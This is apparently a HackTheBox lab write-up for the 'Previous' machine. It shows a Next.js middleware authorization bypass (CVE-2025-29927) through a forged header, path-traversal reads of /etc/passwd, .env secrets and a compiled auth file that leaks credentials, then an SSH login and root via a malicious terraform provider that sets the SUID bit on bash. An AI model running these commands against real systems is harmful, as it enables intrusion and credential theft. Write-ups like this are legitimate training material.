Previous

📅 Last Updated: Aug 26, 2025 13:37 | 📄 Size: 12.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ nmap -sC -sV -Pn 10.10.11.83 -oN ./nmap.txt             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 22:18 UTC
Nmap scan report for 10.10.11.83
Host is up (0.72s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.66 seconds

Add previous.htbto our /etc/hosts

Page check

index page

Then we can enumerate the valid web contents

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ ffuf -u http://previous.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 5493, Words: 407, Lines: 1, Duration: 596ms]
apis                    [Status: 307, Size: 36, Words: 1, Lines: 1, Duration: 278ms]
api                     [Status: 307, Size: 35, Words: 1, Lines: 1, Duration: 278ms]
docs41                  [Status: 307, Size: 38, Words: 1, Lines: 1, Duration: 286ms]
docs                    [Status: 307, Size: 36, Words: 1, Lines: 1, Duration: 286ms]
docs51                  [Status: 307, Size: 38, Words: 1, Lines: 1, Duration: 296ms]
signin                  [Status: 200, Size: 3481, Words: 179, Lines: 1, Duration: 281ms]
:: Progress: [4614/4614] :: Job [1/1] :: 120 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

Then we can check signin But we still don't have valid credits

We can check the version of next.jsfrom Wappalyzer

CVE-2025-29927

We can get the exploits about Next.js 15.2.2from exploit-db Next.js Middleware 15.2.2 - Authorization Bypass Then we can get the detail of poc

# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main

PS:

In newer affected versions (before 14.2.25 / 15.2.3 before the fix), Next.js uses the internal request header x-middleware-subrequest to record the "middleware recursion depth". It will split this header into a list by colon : and count the number of items that match the middleware name; when the count reaches the built-in threshold MAX_RECURSION_DEPTH = 5, Next.js will skip the middleware execution to avoid recursion, which can be exploited as an authentication bypass. Therefore, a common PoC needs to write the value as a mark repeated 5 times.

We can try to use the payload header x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware to bypass the authand get into /doc We need to use burpsuiteto add the header to each request Then you can successfully get into /doc

And we can find a downloadbutton from /example http://previous.htb/api/download?example=hello-world.ts We still need to add the header x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware Then we can find there is a LFIvulnerable here.

we can try to LFI the file systems

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Also, we can get the .env

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.env' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

We can also find the api document from https://next-auth.js.org/getting-started/example#add-api-route You can get this idea from _next/static on signin page Then pages/api/auth/[...nextauth].jswould be our target file

But here I try static

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/static/pages/api/auth/%5B...nextauth%5D.js' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{"error":"File not found"}

Then we can try to fuzz the url

└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api/download?example=../../../app/.next/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 500) [Size: 21]
/server               (Status: 500) [Size: 21]

So the http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.jswill be target.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.js' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}​}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}​});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}​},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}​};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})(); 

We successfully get the credit jeremy&password=MyNameIsJeremyAndILovePancakes

We can try to ssh connect it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ ssh jeremy@previous.htb
jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
jeremy@previous:~$ whoami
jeremy

Privilege escalation

Firstly, I would like check sudo -l

jeremy@previous:~$ sudo -l
[sudo] password for jeremy:                                                        
Matching Defaults entries for jeremy on previous:                                                                                                                               
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty                               

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Also, from the home directory, we can find a interesting hidden file

jeremy@previous:~$ ls -al
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 26 12:32 user.txt
jeremy@previous:~$ cat .terraformrc
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

Create your own executable file with the same name and have the hidden file in your home directory point to it.

mkdir -p /home/jeremy/fakeprov

cat > /home/jeremy/fakeprov/terraform-provider-examples <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF

chmod +x /home/jeremy/fakeprov/terraform-provider-examples

sed -i 's/\/usr\/local\/go\/bin/\/home\/jeremy\/fakeprov/' /home/jeremy/.terraformrc

sudo /usr/bin/terraform -chdir=/opt/examples apply

bash -p

Then we successfully get the root shell

bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)

Description

The user part mainly examines the enumeration of APIs, and the use of environment variables in the permission escalation part